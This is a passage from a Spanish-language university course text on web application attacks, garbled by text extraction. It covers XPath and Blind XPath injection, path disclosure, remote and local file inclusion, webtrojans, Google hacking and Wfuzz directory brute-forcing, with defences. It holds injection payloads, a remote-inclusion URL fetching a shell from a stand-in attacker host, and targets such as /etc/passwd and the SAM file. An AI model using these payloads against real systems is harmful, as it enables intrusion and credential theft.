cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
